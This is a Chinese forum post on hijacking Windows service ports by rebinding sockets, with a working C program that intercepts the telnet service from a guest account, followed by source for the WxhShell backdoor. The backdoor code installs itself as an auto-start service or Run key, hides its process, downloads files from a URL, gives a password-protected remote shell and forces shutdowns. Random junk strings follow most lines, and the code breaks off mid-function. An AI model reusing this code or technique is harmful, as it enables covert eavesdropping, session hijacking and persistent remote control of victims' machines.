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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B< ;==|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a#(U2OP  
VAj<E0>  
  saddr.sin_family = AF_INET; &/F_*=VE  
3l:QeZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B#N7qoi  
2YQ#-M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &{^eU5  
XDmbm*~i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~^o=a?L`<  
_,; %mK  
  这意味着什么?意味着可以进行如下的攻击: 'Tf9z+0;  
_'iDF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HFh /$VM  
f'/ KMe%<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2ChWe}f  
(9.yOc4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cK}Pf+r>  
,7/ _T\d<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hTS|_5b  
xEoip?O?7F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -ut=8(6&  
u^Sv#K X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8]*Q79  
=y;@?=T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 19y 0$e_V  
CyTFb$Z  
  #include )mD \d|7f  
  #include Z] {@H  
  #include JLUms  
  #include    <c%n?QK{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;~ee[W$1  
  int main() /Dd\PjIH{  
  { pcpxe&S  
  WORD wVersionRequested; kyAs'R @z  
  DWORD ret; `!Ln|_,d  
  WSADATA wsaData; oI$V|D3 9  
  BOOL val; RK)l8c}  
  SOCKADDR_IN saddr; HYIRcY  
  SOCKADDR_IN scaddr; ~{QEL2  
  int err; [b`$\o'-  
  SOCKET s;  q6)N*?  
  SOCKET sc; NG-`ag`s  
  int caddsize; 5ZsDgOeY  
  HANDLE mt; HTNA])G  
  DWORD tid;   gE=Wcb!  
  wVersionRequested = MAKEWORD( 2, 2 ); gH H&IzHF  
  err = WSAStartup( wVersionRequested, &wsaData ); TNsg pJ?\  
  if ( err != 0 ) { vl~%o@*_  
  printf("error!WSAStartup failed!\n"); HWbBChDF  
  return -1; (4ZLpsbJ  
  } W:B}u\)C  
  saddr.sin_family = AF_INET; = o+7xom  
   (-2R{! A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }:^XX0:FK  
KZ\dB;W< |  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?'LM7RE$X6  
  saddr.sin_port = htons(23); r%[1$mTOR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S-,kI  
  { 7,su f }=  
  printf("error!socket failed!\n"); +3?`M<L0  
  return -1; R#fy60  
  } onh?/3l  
  val = TRUE; t'Htx1#Zc[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AO8:|?3S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T g\hx>  
  { @ V5S4E  
  printf("error!setsockopt failed!\n"); [Y oa"K  
  return -1; Ltg-w\?]  
  } +9~ZA3DiP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |0DP} `~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 % &+|==-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qa;EI ;8  
Sgx+V"bkT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VVN # $  
  { A?sNXhh  
  ret=GetLastError(); aKOf;^@  
  printf("error!bind failed!\n"); ,E]|\_]  
  return -1; `E%(pjG  
  } |w,^"j2R  
  listen(s,2); +DxifXtB  
  while(1) v['AB4  
  { 1l~.R#WG&  
  caddsize = sizeof(scaddr); Yoe les-  
  //接受连接请求 nO:HB.&@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CH#kvR2  
  if(sc!=INVALID_SOCKET) W9+h0A-  
  { y8D 8Y8B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); * T\>  
  if(mt==NULL) $uTlbAuv  
  { X%35XC.n  
  printf("Thread Creat Failed!\n"); & ]%\.m  
  break; c}8 -/P=  
  } _we3jzMW  
  } |'@V<^GR  
  CloseHandle(mt); K.r!?cfv  
  } mR6E]TuM  
  closesocket(s); sFD!7 ;  
  WSACleanup(); s|KfC>#  
  return 0; IwnYJp:9v  
  }   Ta,u-!/ I  
  DWORD WINAPI ClientThread(LPVOID lpParam) B ;;cbY  
  { P$ F#,Cn  
  SOCKET ss = (SOCKET)lpParam; MsSoX9A{D  
  SOCKET sc; +:b(%|  
  unsigned char buf[4096]; LP8o7%sv!  
  SOCKADDR_IN saddr; ;7)OSGR  
  long num; AV9:O{  
  DWORD val; bL#sn_(m  
  DWORD ret; J;7s/YH^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]~ >@%v&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8[f8k 3g  
  saddr.sin_family = AF_INET; @ > cdHv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H2s*s[T -  
  saddr.sin_port = htons(23); $kM '  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w# xncH:1  
  { X #H:&*[!  
  printf("error!socket failed!\n"); J~fuW?a]r  
  return -1; 5=Zp%[ #  
  } n JW_a&'  
  val = 100; -.^=Z!=M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ho(5r5SNE  
  { 6{lG1\o  
  ret = GetLastError(); '=-s1c@^  
  return -1; ;c nnqT6  
  } ,q/tyGj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \;'_|bu3.  
  { ;}$Z 80  
  ret = GetLastError(); VoWA tNU  
  return -1; m]Hb+Y=;h  
  } Hs.6;|0%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r=xTs,xx  
  { M P_A<F  
  printf("error!socket connect failed!\n"); |2[S/8g!  
  closesocket(sc); 70d] d+M|  
  closesocket(ss); AfuXu@UZ_/  
  return -1; \=$EmHF  
  } zK[ 7:<  
  while(1) 7j4ej|Fjo  
  { Cca~Cq[%*(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;*n_N!v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d%S=$}o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [BJ$|[11  
  num = recv(ss,buf,4096,0); ,s\x]bh  
  if(num>0) Qo]vpp^[#  
  send(sc,buf,num,0); ^mS.HT=X  
  else if(num==0) z +y;y&P  
  break; BLWA!-  
  num = recv(sc,buf,4096,0); z (c@(UD-_  
  if(num>0) s@.`"TF.7  
  send(ss,buf,num,0); N`y}Gs  
  else if(num==0) "u .)X3  
  break; 8Pl+yiB/o`  
  } w++B-_  
  closesocket(ss); ^=aml   
  closesocket(sc); bS_y_ 9K  
  return 0 ; uEc0/ a :.  
  } ^aGZJiyJ  
3P%w-qT!N  
)Ix-5084  
========================================================== @>qx:jx(-S  
D|u^8\'.  
下边附上一个代码,,WXhSHELL  PU,6h}  
V[BY/<z)A  
========================================================== n1fE daa7g  
{QIS411  
#include "stdafx.h" 61ON  
c+}!yH$  
#include <stdio.h> U)O?| VN^o  
#include <string.h> Gp?ToS2^d  
#include <windows.h> ,6S_&<{  
#include <winsock2.h> o|zrD~&$  
#include <winsvc.h> JL}hOBqfI  
#include <urlmon.h> lQ=&jkw  
chvrHvByS  
#pragma comment (lib, "Ws2_32.lib") 4*@G&v?n  
#pragma comment (lib, "urlmon.lib") ^KaqvG$ed  
z v L>(R  
#define MAX_USER   100 // 最大客户端连接数 P5yJO97  
#define BUF_SOCK   200 // sock buffer Bt |9%o06l  
#define KEY_BUFF   255 // 输入 buffer t~+{Hr) #y  
RT8_@8  
#define REBOOT     0   // 重启 Q#yu(  
#define SHUTDOWN   1   // 关机 BK`Q)[  
0~PXa(!^K  
#define DEF_PORT   5000 // 监听端口 _mIa8K;  
Uxj<x`<1x  
#define REG_LEN     16   // 注册表键长度 !mpMa]G3  
#define SVC_LEN     80   // NT服务名长度 bQ|#_/?  
GFASF,+  
// 从dll定义API X+?Il)Bv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >o0&:h|>$'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! 0>!tW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L@gQ L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !q7;{/QM6  
w~cq% %  
// wxhshell配置信息 &;r'{$  
struct WSCFG { Cg]3(3   
  int ws_port;         // 监听端口 o=QRgdPD  
  char ws_passstr[REG_LEN]; // 口令 ^rxfNcU7  
  int ws_autoins;       // 安装标记, 1=yes 0=no mMD$X[:  
  char ws_regname[REG_LEN]; // 注册表键名 ,T,B0  
  char ws_svcname[REG_LEN]; // 服务名 ]noP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h=i A;B^>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Do$`yO+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kB$,1J$q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lzr>WbM{{p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hm.&f2|(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s&_IWala  
pR@GvweA  
}; oneSgJ  
X d19GP!  
// default Wxhshell configuration [pRVZV  
struct WSCFG wscfg={DEF_PORT, v ,G-k2$Qe  
    "xuhuanlingzhe", 8vX*SrM  
    1, *1ID`o  
    "Wxhshell", U l7pxzj  
    "Wxhshell", @> +^<  
            "WxhShell Service", pZ@W6}  
    "Wrsky Windows CmdShell Service", /`j  K  
    "Please Input Your Password: ", eK=m02  
  1, Vx\# +)4  
  "http://www.wrsky.com/wxhshell.exe", #Tg|aW$(*  
  "Wxhshell.exe" w ufKb.4`  
    }; [X$|dOm'N  
y ? {PoNI  
// 消息定义模块 9 +N._u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "$,}|T?Y`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]X"i~$T1S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tx|"v|&e2  
char *msg_ws_ext="\n\rExit."; mAYr<=  
char *msg_ws_end="\n\rQuit."; X"qbB4 (I  
char *msg_ws_boot="\n\rReboot..."; 6%tiB?  
char *msg_ws_poff="\n\rShutdown..."; I ")"s  
char *msg_ws_down="\n\rSave to "; @$b+~X)7  
&]"_pc/>m  
char *msg_ws_err="\n\rErr!"; go%X%Os]  
char *msg_ws_ok="\n\rOK!"; nkCRe  
<'4!G"_EP  
char ExeFile[MAX_PATH]; L F-+5`  
int nUser = 0; ?:;hTY  
HANDLE handles[MAX_USER]; (8m\#[T+R  
int OsIsNt; :[X }.]"  
*C:q _/  
SERVICE_STATUS       serviceStatus; {7M4SC@p|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fB @pwmu  
JG+g88  
// 函数声明 Z+"E*  
int Install(void); "|l oSf@  
int Uninstall(void); ).O2_<&?F  
int DownloadFile(char *sURL, SOCKET wsh); wJ]$'c3  
int Boot(int flag); ezq q@t9  
void HideProc(void); N:gstp  
int GetOsVer(void); )/N Xh'  
int Wxhshell(SOCKET wsl); xdTzG4  
void TalkWithClient(void *cs); U0|j^.)  
int CmdShell(SOCKET sock); hc p'+:  
int StartFromService(void); (EF$^FYPK  
int StartWxhshell(LPSTR lpCmdLine); ~V$5m j   
as!|8JE`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <4A(Z$ZX)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !f]3Riw-=,  
?H7p6m u  
// 数据结构和表定义  k9VQ6A  
SERVICE_TABLE_ENTRY DispatchTable[] = \8>N<B)  
{ 0?4^.N n3  
{wscfg.ws_svcname, NTServiceMain}, )*L?PT  
{NULL, NULL} B& f~.UH  
}; 8-g$HXqs_#  
GL0':LsZ  
// 自我安装 >8mW-p  
int Install(void) O 9 Au =  
{ VT~ ^:-]  
  char svExeFile[MAX_PATH]; ea[a)Z7#  
  HKEY key; 7QL) }b.H  
  strcpy(svExeFile,ExeFile); #( Yb lY  
qP.VK?jF|  
// 如果是win9x系统,修改注册表设为自启动 o _,$`nEJ  
if(!OsIsNt) { H&K)q5~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s].Cx4VQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0#[Nfe*  
  RegCloseKey(key); LF,c-Cv!jL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;7og  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b8-^wJH!  
  RegCloseKey(key); 1nM?>j%k  
  return 0; N|# x9mE  
    } B(vz$QE,$r  
  } d5W[A#}  
} 5>k~yaju/  
else { sVl:EVv  
+wgUs*(W  
// 如果是NT以上系统,安装为系统服务 1~iBzPU2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /SM#hwFxJ&  
if (schSCManager!=0) &7y1KwfXn  
{ WRyv >Y  
  SC_HANDLE schService = CreateService `fE:5y  
  ( ` ];[T=  
  schSCManager, 9(Xch2tpO!  
  wscfg.ws_svcname, Fl(ZKpSZU  
  wscfg.ws_svcdisp, 5TW<1'u  
  SERVICE_ALL_ACCESS, $G([#N<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gmH0-W)=  
  SERVICE_AUTO_START, HE .Dl7 {  
  SERVICE_ERROR_NORMAL, p.7p,CyB  
  svExeFile, Mh B=+S[@  
  NULL, (HgdmN%  
  NULL, *} 4;1OVT  
  NULL, j3'/jk]\  
  NULL, /]58:euR  
  NULL 9Yne=R/]  
  ); {y%O_-C'r  
  if (schService!=0) ,UJPLj^  
  { n7<-lQRaxZ  
  CloseServiceHandle(schService); Xpz-@fqKdf  
  CloseServiceHandle(schSCManager); .TU15AAc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @?NLME  
  strcat(svExeFile,wscfg.ws_svcname); NNV.x7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 24k}~"We  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p+1B6j  
  RegCloseKey(key); H0Xda.Y(  
  return 0; pNme jz:  
    } E$fy*enON  
  } =7Gi4X%  
  CloseServiceHandle(schSCManager); Tfs9< k>G#  
} 3gXUfv2ID  
} "@bk$o=  
% ieAY-<"  
return 1; <1K: G/!  
} a'.=.eDQ  
T>?1+mruM  
// 自我卸载 u"3cSuqy  
int Uninstall(void) lw lW.C  
{ D#(Pg  
  HKEY key; }=R|iz*,!  
M4]|(A  
if(!OsIsNt) { 1Ee>pbd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C8SNSeg  
  RegDeleteValue(key,wscfg.ws_regname); dNmX<WXG  
  RegCloseKey(key); {i?K~| h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e q.aN3KB"  
  RegDeleteValue(key,wscfg.ws_regname); l)eaIOyk  
  RegCloseKey(key); G4]``  
  return 0; F= lj$?4{  
  } jtJU 5Q  
} 1%{(?uz9  
} F.w#AV  
else { Eu}A{[^\  
7~g0{W>Zm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8XE0 p7  
if (schSCManager!=0) $a]dxRkz  
{ sVf7g?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r F - yD1  
  if (schService!=0) T}LJkS~*l  
  { VdrF=V&] O  
  if(DeleteService(schService)!=0) { =z dti'2{4  
  CloseServiceHandle(schService); G]4+ Qr?  
  CloseServiceHandle(schSCManager); =sJHnWL[  
  return 0; 4WnxJ]5`  
  } Y`RfE  
  CloseServiceHandle(schService); &}?e:PEy  
  } u-<s@^YG  
  CloseServiceHandle(schSCManager); ^u<+tV   
} XP1_{\  
} r-uIFhV^  
g==^ioS}*  
return 1; ZaV@}=Rd8  
} w|ei*L  
[!$>:_Vq/  
// 从指定url下载文件 Tj#XsD?J  
int DownloadFile(char *sURL, SOCKET wsh) <;K/Yv'{r  
{ x F#)T *  
  HRESULT hr; w, wt<@}  
char seps[]= "/"; /otgFQ_  
char *token; vUNE! j  
char *file; ;RYKqUE  
char myURL[MAX_PATH]; P$yJA7]j;%  
char myFILE[MAX_PATH]; %stktVDAP  
w[_Uv4M  
strcpy(myURL,sURL); Hs`  '](  
  token=strtok(myURL,seps); hkxZ=l  
  while(token!=NULL) 7]Yd-vA  
  { iE5^Xik ,  
    file=token; `VbG%y&I  
  token=strtok(NULL,seps); c`Cn9bX  
  } `z.#O\@o  
_XtY/7n  
GetCurrentDirectory(MAX_PATH,myFILE); <k1gc,*  
strcat(myFILE, "\\"); 4 n( f/  
strcat(myFILE, file); W525:h52{  
  send(wsh,myFILE,strlen(myFILE),0); pQi -  
send(wsh,"...",3,0); .?TVBbc%5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ws@s(5r  
  if(hr==S_OK) wz=I+IN:  
return 0; IU}`5+:m  
else o\#e7Hqbh  
return 1; GKr L  
8Sa<I .l  
} Os;\\~e5  
3i1>EjML  
// 系统电源模块 &~EOM  
int Boot(int flag) :Vc9||k  
{ FS0SGBo  
  HANDLE hToken; V7<} ;Lzm  
  TOKEN_PRIVILEGES tkp; 7y&`H  
%,BJkNV  
  if(OsIsNt) { B'yrXa|P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e$Ej7_.#;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P? n`n!qZ  
    tkp.PrivilegeCount = 1; v>6r|{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %!RQ:?=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 191)JWfa  
if(flag==REBOOT) { pe8MG(V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TaH9Nu  
  return 0; KAGq\7  
} ~?FKww|_*J  
else { 9,IGZ55C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6IA~bkc}  
  return 0; OB:G5B`  
} 0FBifK  
  } {^F_b% a4z  
  else { qdhD6#r  
if(flag==REBOOT) { F/h)azcn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]v#Q\Q8>  
  return 0; Fa8>+  
} { .AFg/Z  
else { >*&[bW'}?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hk(^?Fp  
  return 0; HDYoM  
} 6k-]2,\#  
} n:{yri+  
gg=z.`}  
return 1; 98l#+4 +  
} \I> ,j,c  
p-Z5{by  
// win9x进程隐藏模块 umciP  
void HideProc(void) +-ue={ '  
{ |dvcDx0|K  
"dIoIW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kgcg:r:  
  if ( hKernel != NULL ) JP#m} W  
  { IaW8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >PTq5pk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C]}0h!_V  
    FreeLibrary(hKernel); ]0o78(/w2  
  } T ^uBMDYe  
*<KY^;  
return; Li}yK[\]  
} nG2RBeJV  
<=p"c k@  
// 获取操作系统版本 lPjgBp{/  
int GetOsVer(void) w!Z3EA;`  
{ ]>!]X*\9  
  OSVERSIONINFO winfo; :t(}h!7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~&g:7f|X  
  GetVersionEx(&winfo); *fl1 =Rfr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b8O:@j2  
  return 1; JAYom%A"  
  else +K&ze:-Z  
  return 0; hsi#J^n{  
} = fm/l-P@  
Mv_4*xVc  
// 客户端句柄模块 0&<{o!>k  
int Wxhshell(SOCKET wsl) O\x Uv  
{ tP`,Egf"g  
  SOCKET wsh; P )`-cfg  
  struct sockaddr_in client; qRNGe8  
  DWORD myID; <w[)T`4N  
"w N DjWv  
  while(nUser<MAX_USER) !r$/-8b  
{ oo`mVRVf  
  int nSize=sizeof(client); } pA0mW9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 778a)ZOzb  
  if(wsh==INVALID_SOCKET) return 1; |3s-BKbN4  
GZ9XG">  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8L0#<"'0  
if(handles[nUser]==0) |= ~9y"F  
  closesocket(wsh); 5'@}8W3b  
else `CW=*uBH  
  nUser++; VEJ Tw  
  } *T 6<'a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vAX %i(4  
S-My6'ar  
  return 0; u)%J5TR.Y  
} By%aTuV$  
V_h, UYN  
// 关闭 socket N"T+. r  
void CloseIt(SOCKET wsh) .DHPKz`W0  
{ s3oK[:/  
closesocket(wsh); Xq9%{'9  
nUser--; fy7]I?vm@  
ExitThread(0); od$Cm5  
} I/t2c=f  
s+,JwV?b  
// 客户端请求句柄 NU81 V0:jG  
void TalkWithClient(void *cs) L ej3? k  
{ sOv:/'  
%<P&"[F]v@  
  SOCKET wsh=(SOCKET)cs; ^dRB(E}|)  
  char pwd[SVC_LEN]; ~r+;i,,X  
  char cmd[KEY_BUFF]; kz]qk15w  
char chr[1]; %-> X$,Q :  
int i,j;  T=9+  
 6~j6M4*  
  while (nUser < MAX_USER) { k]w;(<  
8H;yrNL  
if(wscfg.ws_passstr) { tK1P7pbC8r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%0D:jOY]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YDO#Q= q%  
  //ZeroMemory(pwd,KEY_BUFF); WUZusW5s  
      i=0; Z+JPxe#7  
  while(i<SVC_LEN) { <$R'y6U :  
\vsfY   
  // 设置超时 "p0e6Z=  
  fd_set FdRead; R FWJ ZN"  
  struct timeval TimeOut; #Mrof9  
  FD_ZERO(&FdRead); kect)=T(  
  FD_SET(wsh,&FdRead); 0"LJ{:plz  
  TimeOut.tv_sec=8; 5@6F8:x}V  
  TimeOut.tv_usec=0; U%_BgLwy%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WQK ~;GV-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7;5SK:X%dm  
Xnpw'<~X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K8daSvc  
  pwd=chr[0]; RX\%R  
  if(chr[0]==0xd || chr[0]==0xa) { Igrr"NuDZ  
  pwd=0; 2XNO*zbve  
  break; h:[%' htz  
  } /5pVzv+rm  
  i++; w a2?%y_G  
    } !UDTNF?1  
L3pNna  
  // 如果是非法用户,关闭 socket }I`"$2   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /'O? 8X<  
} nF`_3U8e  
n Hz Xp:"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); imC>T!-7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I82GZL  
dv1Y2[  
while(1) { M8(N9)N  
[`2V!rU  
  ZeroMemory(cmd,KEY_BUFF); hR(\%p  
Y,n&g45m  
      // 自动支持客户端 telnet标准   b"k1N9  
  j=0; 4c0 =\v  
  while(j<KEY_BUFF) { {Dupk0'(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k nTCX  
  cmd[j]=chr[0]; %OE (?~dq  
  if(chr[0]==0xa || chr[0]==0xd) { rK(TekU  
  cmd[j]=0; _X;xW#go  
  break; 9(eTCe-~6  
  } +6-_9qRq  
  j++; 1UdET#\  
    } rrz^LD  
@kBy|5  
  // 下载文件 >sGIpER7  
  if(strstr(cmd,"http://")) { 4z6kFQgu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @? e+;Sx  
  if(DownloadFile(cmd,wsh)) k}18 ~cWM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l  d  
  else ecvQEK2L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;iq H:wO  
  } {0?^$R8j  
  else { \3q Z0  
a!guZUg6  
    switch(cmd[0]) { jJbS{1z  
  D6N 32q@  
  // 帮助 P.#@1_:gC  
  case '?': { djmd @{Djt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S3 Dmc\f  
    break; h\-3Y U  
  } 46 [k9T  
  // 安装 JIL(\d  
  case 'i': { q!f'?yFYK  
    if(Install()) GBSuTu8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\t g.O~  
    else yVfF *nG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0H!J  
    break; A9Kt^HR  
    } BMi5F?Q'G  
  // 卸载 5LaF'>1yY  
  case 'r': { OJ?U."Lxm$  
    if(Uninstall()) N.'-9hv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ky[s& >02  
    else N||a0&&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lq}m0}9<  
    break; sU7fVke1   
    } s'B$/qCkR  
  // 显示 wxhshell 所在路径 XmJ?oPr7  
  case 'p': { d C>[[_  
    char svExeFile[MAX_PATH]; Xx,Rah)X3  
    strcpy(svExeFile,"\n\r"); s+0n0C  
      strcat(svExeFile,ExeFile); F81Kxcs  
        send(wsh,svExeFile,strlen(svExeFile),0); U5:5$T,C  
    break; #u"$\[G  
    } 9s4>hw@u  
  // 重启 {iXQUj  
  case 'b': { *)bh6b=7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VW\xuP  
    if(Boot(REBOOT)) T3bYj|rh=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5<&b1:  
    else { N1fPutl$a  
    closesocket(wsh); \%}w7J;  
    ExitThread(0); Sc14F Fs  
    } W %<,GV  
    break; r;~7$B)  
    } W#9A6ir>  
  // 关机 g|Xjw Ti8$  
  case 'd': { C23Gp3_0/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AGhr(\j  
